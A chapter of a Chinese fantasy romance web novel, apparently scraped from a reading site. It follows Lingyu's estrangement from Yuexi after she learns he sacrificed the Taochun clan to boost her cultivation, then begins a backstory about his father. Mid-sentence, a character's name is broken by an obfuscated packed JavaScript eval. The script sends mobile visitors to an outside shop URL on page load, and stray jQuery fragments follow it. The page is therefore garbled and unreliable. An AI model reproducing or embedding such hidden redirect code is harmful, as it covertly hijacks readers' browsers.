泠羽闻言驻足,身影有一刹那的晃动。
他并没有回头,天边冷月的清辉在他周身渡上一层锐利的杀气。
须臾,他右手缓缓抬起,“嚓”的一声,烁着金辉的斩金神剑登时在他手中亮出。
符津察觉头顶上闪过一道耀光,还没来得及反应,身前那银白色身影就抡起斩金在他左肩狠狠一捅——
“啊……咳!”
符津直接昏死过去。
对面池翡见状,吓得发出一声痛呼,猝然昏倒。
泠羽俯视脚跟前的父亲,眼底猩红,过了片刻“呲”一声,他拔出了符津肩头血窟窿里的斩金。
敢咒他?泠羽虽从不相信诅咒,倘若诅咒真能奏效,那当初那么多人一心想杀他,他早就死了千百回了,但不知为何,符津方才的那一句话,却让他心头发紧。
玥兮近日对他的态度越发冷淡疏离,泠羽尝试了各种办法让她心情有所好转,可这么多天下来依旧徒劳。
他越想越滋生起无法忽视的心慌,泠羽收回斩金,立即从这里离开。
他朝着玉薰殿的方向阔步走去。
他不想失去她,泠羽每走几步,心里就越发不可克制得慌乱,脑海里就不停闪现方才符津诅咒他的那句话。
该死……他竟着了符津的道。
玉薰殿门外晃动一抹朦胧的浅青色纤细身影。
泠羽心跳骤然加速,眸中涌动澎湃水雾,他加快步子,从阔步走变成奔跑。
那浅青色身影也定在原地,似乎正看着泠羽朝她奔来。
他从未觉得这段路如此遥远,仿佛只要再等待一秒,他的整个世界就会轰然崩溃。
那浅青色身影静静地站着,没有主动朝他奔赴,也没有只身后退,她只是静静地站在那里。
终于到了,泠羽一把将玥兮搂进怀里,两手紧紧钳住她的身体。
玥兮感到了他扑面而来的清气,还有混杂着的未散去的血腥气。她任由自己被这样抱着,两只手自然垂下,没有挣扎,也没有反手抱住泠羽。
他抱了很久很久,怀里的人依旧没有任何动静。
泠羽逐渐察觉到了她的不对劲,他缓慢地松开她,但两手还是圈着玥兮的身体。
“玥兮你……怎么了?”
她双目空洞无神,看向泠羽的眼神没带任何情绪,嘴角带血,耳朵两侧还有未干的血痕。
泠羽急忙为她拭去脸上的血,“谁把你弄成这个样子?”
玥兮没回答,只是面无表情地凝视着他。半晌,她瞳眸中划过一丝讥诮。
泠羽心底方沉下去的慌张又泛起涟漪,“你放心告诉我,我帮你解决。”
玥兮眼中的那抹嘲讽愈发明显,她心道,你什么都不肯告诉我,我又何必告诉你?
大不了我们两个都当哑巴,看看谁能撑到最后。
玥兮嘴角露出寒凉的笑意,毫不犹豫地一把推开他。
泠羽向后倒退两步,神色怔然,他抬眸讶异地看向她。
他立马又走上前来,握住玥兮两臂,放低声音道:“我知道,你仍未走出失去父亲的噩耗,但我可以一直陪你。以前我们都是有福同享有难同当,我都会一起陪你度过。”
玥兮已经不敢相信他的这番话了,她甩开他的手,默不作声地朝玉薰殿大门走去。
“玥……”
泠羽正追上去,玥兮立即一把将门关上,毫不留情地把泠羽拒之门外。
她靠在门前,听着泠羽在外头传进来的断断续续的声音。
“玥兮,你有什么烦心事说与我听,无论是什么我都愿意听。”
“之前我瞒你是我不对,我错了,我真的错了,对不起。”
“你尽管冲我发脾气,我只想你心情能好一点,你想做什么,就做什么,不能做的我帮你一起实现。”
“你打开门,让我陪你一下,就一下下。”
“玥兮……”
泠羽扶着门,心里越发堵塞,就连他自己都未曾察觉他声线里几不可察的颤抖。
门内仍没有任何动静。
泠羽孜孜不倦地说着话,他相信玥兮也应该都听到了。
他连续低声细语了半个时辰,玉薰殿内的灯光突然熄灭,他才停止了讲话。
玥兮应当休息了。泠羽静静地站在外头,仍是扶着门,并未离开。
泠羽强迫自己不去回想符津诅咒他的话,可那意念不可控地侵袭脑海,心头传来一阵阵钝痛。
他烦躁地抓了胸口一把,扶着门的那只手最终缓缓放下。
他在门前站了一宿。
次日清晨,一列神侍前往玉薰殿,望见门前挺立的银白色背影,各个急忙施礼:“陛下。”
泠羽没理他们,神侍们低着头面面相觑,犹豫万分才小心翼翼地继续向玉薰殿走去。
首位神侍打开了门,接着身后一列都整齐地进入殿中。
有的给玥兮送早膳,有的清理灰尘,有的整理被褥。
泠羽趁门开着时默默向内张望,并未找到玥兮的身影。
过了一会儿,殿内最东侧传来一声平淡的“你们走吧”,泠羽心里那潭死水才漾起一纹活跃的涟漪。
他想着,即便自己现在不能亲眼见她一面,但至少能听见她的声音,这一点足够让他感到幸福。
殿内的神侍陆陆续续出来,他们再向泠羽行了一礼,而后整齐地离开。
玉薰殿大门再次被关上。
周围再次归于寂静。
泠羽心神不宁地望着大门,继续站了半个钟头。
不知何时,身后不远处传来脚步声,“兄长?”
白驹走了过去,只见泠羽眸光晦暗,一动不动盯着门。白驹有些生惑,不知道发生了什么。
泠羽目不斜视,“你来干什么。”
白驹如实道:“昨日黛小姐为救治盈霜,和我一起去乌金封塔摘取寿元果。她一个人闯到了顶端,虽无性命之忧,但也内力大伤,我代盈霜给她带了补药。”他扬了扬手中的匣子。
她竟去了乌金封塔?泠羽垂眸,皱起眉头,他前不久还刚把陶椿族人关押在那边,玥兮一去,定会和那群人碰面。
昨日玥兮状态异常,定是从陶椿族人口中听到了对他的污言秽语,玥兮又能一人闯到塔顶,定会对自己修为大涨而感到奇怪。
然后……然后她就会顺藤摸瓜,得知他瞒她,牺牲陶椿族人给她增长修为。
难怪昨夜玥兮会如此生气。泠羽恍然开悟般,朝门叫唤一声:“玥……”
里头冷不防传来玥兮凌厉的声音:“让泠羽走开。”
外边并无反应,玥兮的音量拔高了一个档次:“走开!”
白驹急忙对泠羽轻声道:“兄长,让我进去和黛小姐聊聊吧。”
泠羽未置可否,红着眼眶对门看了半晌,没说话。
而后他慢慢转过身,默默离开玉薰殿。
白驹心情复杂地看着泠羽渐行渐远的背影,他无声叹气,转身推门而入。
“黛小姐,这是我和盈霜给你熬制的补药。”白驹将匣子在玥兮身边放下。
“有劳你们。”玥兮道,“盈霜怎么样了?”
白驹道:“她好多了,只不过刚刚恢复人身,还只能卧床休息,所以她暂且不能亲自过来向你问好。”
玥兮淡笑,“人没事就好,我等下过去看她。”
白驹回之以笑,而后他的神情变得凝重,他小心翼翼地问:“黛小姐,你心情不佳,可是和兄长闹了矛盾?”
他知道自己在明知故问,但也只有这种办法才能明就里,尝试解开玥兮和兄长的心结。
玥兮未置可否,反而问道:“白驹,我本是仙界一人仙,自小无论如何努力修练,法力仍会低人一等。但是你看,昨日我不仅没有重伤至死,还能只身一人闯到乌金封塔顶端,你就不感到奇怪?”
白驹凝神,“黛小姐的意思是,你增长的修为来历不明?”
玥兮低声道:“乌金封塔的第十九层,关押着陶椿族人。”
白驹神色愕然:“陶椿族人竟在塔中?!是……兄长关押起来的?”
玥兮点点头。
白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314228|137882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
驹沉吟,“我知道了,兄长擅自做主,夺取陶椿族人的内丹精元为你增长修为……此事,的确是兄长做的不妥。”
玥兮皱起眉,“我不明白他为什么这样做,他从来都没有给我一个合理的解释。”
白驹有些迟疑,似是有些难以启齿,“有些话不知当将不当讲……兄长和父帝之间横亘着深仇大恨,池翡娘娘也占据一部分原委。陶椿族又是池翡娘娘母族,即便他们无辜,但城门失火殃及池鱼,以兄长的性子,自然也不会放过他们。”
“泠羽到底和他父亲有什么仇恨啊?”玥兮问出了一直以来想问的问题。
“兄长竟没和你提及此事?”白驹见玥兮摇头,轻叹道:“罢了,兄长此人向来藏得极深,又不愿与人吐露心迹,这也难为黛小姐你一直被蒙在鼓里了。既如此,就让我来讲一下兄长那段晦暗的过往吧。”
***
数十年前符津登帝,相较而言他是自古以来登基最为顺利的一位天帝。
他是先帝唯一嫡长子,登位前后,没有勾心斗角的储皇之争,更没有血流成河的宗亲叛乱。
一切都很顺利,唯一让符津烦恼的可能就是他登位后要即将迎娶炎煌一族的尤焕神女。
炎煌族族长为先帝股肱之臣,先帝在位时便和炎煌族长联姻,嫡长子符津和族长之女尤焕结下婚约。
尤焕神女生得昳丽动人,性情如骄阳似火,坦诚待人,从不虚与委蛇,一派天真浪漫。
虽说尤焕是极好的神女,但符津早已心有所属。
他的心之所向便是陶椿族内名唤池翡的小神。
池翡当时并无当神女的资格,她没有尊贵的血统,只是陶椿族内一介普通女子。
符津与池翡幼时便相识相知,他们第一次见面,还是在二人九岁的时候。当时符津在凡间游猎,他不慎与大伙走散,迷途不知返,徘徊了五天五夜,即将在林中饿死,恰好走来一个与他同岁的小姑娘,喂给了他食物,才抢回符津一条命。
符津问姑娘姓名,姑娘如实答道她叫池翡,陶椿族人,今日她和族人前来采药。
池翡容姿惊艳,肌肤透白,此时虽穿着简朴,却仍叫人移不开眼。
她当时并不认识符津,也问他姓名。
符津感受到了她身上令人舒心的朴素的草药味,直接敞开心扉,告诉她自己是天国皇子,游猎不慎与人走散,才会落得这般田地。
一听眼前人是天国皇子,池翡吓得急急作揖行礼,符津急忙扶起她,告诉她,“这个事只有你一人知道,陶椿族人向来不问世事,恐怕他们见到我也并不知道我是谁。等会儿你帮我保守秘密,不要告诉他们我是天国皇子。我迷了路,只能跟着你们陶椿族走了。”
池翡犹豫再三,最终点了点头。
符津跟着陶椿族安全抵达天国,即将分别时,符津拉住池翡,“姑娘救命之恩没齿难忘,今日唐突,谢礼明日再送。”
池翡赧然低下头,“小女子不敢,能搭救殿下的性命,是我等天国小神的本分。”
符津不以为然,“我与姑娘说话甚是投机,往后也可多多交谈。明日我准备谢礼亲自前来相送,我们就相约在此地,如何?”
池翡再不答应也得答应。
往后符津一有空便会偷偷溜出天庭,与池翡碰面。
没人知道他要去干什么,先帝对他很是纵容,也没派人过去追究。
符津和池翡日久生情,不过二人从未公布。符津想再找时机,向他父帝禀明,待到他登位,即刻迎娶陶椿族人池翡入天庭。
可他还没说,就已经从父帝口中得知了尤焕神女一事。
他必须要迎娶尤焕神女,因为此事,符津还和他父帝发生过激烈的争吵。
先帝拗不过他,只是道,你可以迎娶池翡,但她只能立为侧妃,天后一位,必须只能是尤焕神女。
符津觉得此事委屈了池翡,第一时间跑过去向她诉说。
池翡听闻,先是愣了一下,而后才牵强地笑了笑,她当然知道,此事需以大局为重,能嫁给他,已是她攒了八辈子的福气呢。